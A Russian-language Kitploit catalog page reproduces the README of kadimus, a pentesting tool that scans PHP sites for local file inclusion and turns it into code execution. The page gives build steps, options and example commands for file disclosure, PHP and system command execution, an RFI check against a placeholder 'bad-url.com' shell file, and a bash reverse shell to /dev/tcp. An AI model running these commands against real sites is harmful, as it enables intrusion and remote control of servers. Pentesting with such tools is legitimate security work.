Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
kadimus — kadimus — это инструмент для проверки и эксплуатации уязвимости LFI. | Kitploit
Инструменты/GitHubGitHub/p0cl4bs/kadimus
Сканеры уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеИнструмент Удаленного ДоступаArchived
GitHubp0cl4bs/kadimus

kadimus

kadimus — это инструмент для проверки и эксплуатации уязвимости LFI.

Репозиторий
57512736 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Rawsec's CyberSecurity Inventory GitHub stars GitHub license

kadimus

Инструмент для сканирования и эксплуатации LFI

kadimus — это инструмент для проверки и эксплуатации уязвимостей LFI, ориентированный на системы PHP.

Возможности:

  • Проверка всех параметров URL
  • RCE через /var/log/auth.log
  • RCE через /proc/self/environ
  • RCE через php://input
  • RCE через data://text
  • RCE через expect://cmd
  • Раскрытие исходного кода
  • Командная оболочка через HTTP-запрос
  • Поддержка прокси (socks4://, socks4a://, socks5:// ,socks5h:// и http://)
  • Поддержка прокси socks5 для удалённых подключений
  • Сборка:

    Сначала убедитесь, что в вашей системе установлены все зависимости: libcurl, libopenssl, libpcre и libssh.

    Затем клонируйте репозиторий, чтобы получить исходный код:

    root@kitploit:~
    $ git clone https://github.com/P0cL4bs/kadimus.git
    $ cd kadimus
    

    И наконец:

    root@kitploit:~
    $ make
    

    Параметры:

    root@kitploit:~
    Options:
      -h, --help                    Display this help menu
    
      Request:
        -B, --cookie STRING         Set custom HTTP cookie header
        -A, --user-agent STRING     User-Agent to send to server
        --connect-timeout SECONDS   Maximum time allowed for connection
        --retry NUMBER              Number of times to retry if connection fails
        --proxy STRING              Proxy to connect (syntax: protocol://hostname:port)
    
      Scanner:
        -u, --url STRING            URL to scan/exploit
        -o, --output FILE           File to save output results
    
      Explotation:
        --parameter STRING          Parameter name to inject exploit
                                    (only needed by RCE data and source disclosure)
    
      RCE:
        -T, --technique=TECH        LFI to RCE technique to use
        -C, --code STRING           Custom PHP code to execute, with php brackets
        -c, --cmd STRING            Execute system command on vulnerable target system
        -s, --shell                 Simple command shell interface through HTTP request
    
        --connect STRING            IP/hostname to connect to
        -p, --port NUMBER           Port number to connect to or listen on
        -l, --listen                Bind and listen for incoming connections
    
        --ssh-port NUMBER           Set the SSH port to try command injection (default: 22)
        --ssh-target STRING         Set the SSH host
    
        RCE Available techniques
    
          environ                   Try to run PHP code using /proc/self/environ
          input                     Try to run PHP code using php://input
          auth                      Try to run PHP code using /var/log/auth.log
          data                      Try to run PHP code using data://text
          expect                    Try to run a command using expect://cmd
    
        Source Disclosure:
          -S, --source              Try to get the source file using filter://
          -f, --filename STRING     Set filename to grab source [REQUIRED]
          -O FILE                   Set output file (default: stdout)
    
    

    Примеры:

    Сканирование:

    root@kitploit:~
    ./kadimus -u localhost/?pg=contact -A my_user_agent
    

    Получение исходного кода файла:

    root@kitploit:~
    ./kadimus -u localhost/?pg=contact -S -f "index.php%00" -O local_output.php --parameter pg
    

    Выполнение PHP-кода:

    root@kitploit:~
    ./kadimus -u localhost/?pg=php://input%00 -C '<?php echo "pwned"; ?>' -T input
    

    Выполнение команды:

    root@kitploit:~
    ./kadimus -t localhost/?pg=/var/log/auth.log -T auth -c 'ls -lah' --ssh-target localhost
    

    Проверка на RFI:

    Также можно проверить ошибки RFI — просто поместите удалённый URL в файл resource/common_files.txt и регулярное выражение для их идентификации, например:

    root@kitploit:~
    /* http://bad-url.com/shell.txt */
    <?php echo base64_decode("c2NvcnBpb24gc2F5IGdldCBvdmVyIGhlcmU="); ?>
    

    в файле:

    root@kitploit:~
    http://bad-url.com/shell.txt?:scorpion say get over here
    

    Обратная оболочка (Reverse shell):

    root@kitploit:~
    ./kadimus -u localhost/?pg=contact.php -T data --parameter pg -lp 12345 -c '/bin/bash -c "bash -i >& /dev/tcp/172.17.0.1/1234 0>&1"' --retry-times 0
    

    Участие в разработке

    Вы можете помочь кодом или пожертвованием. Если хотите помочь кодом, используйте стиль кодирования ядра Linux в качестве ориентира.

    Paypal:

    BTC: 1PpbrY6j1HNPF7fS2LhG9SF2wtyK98GSwq

    Скачать инструмент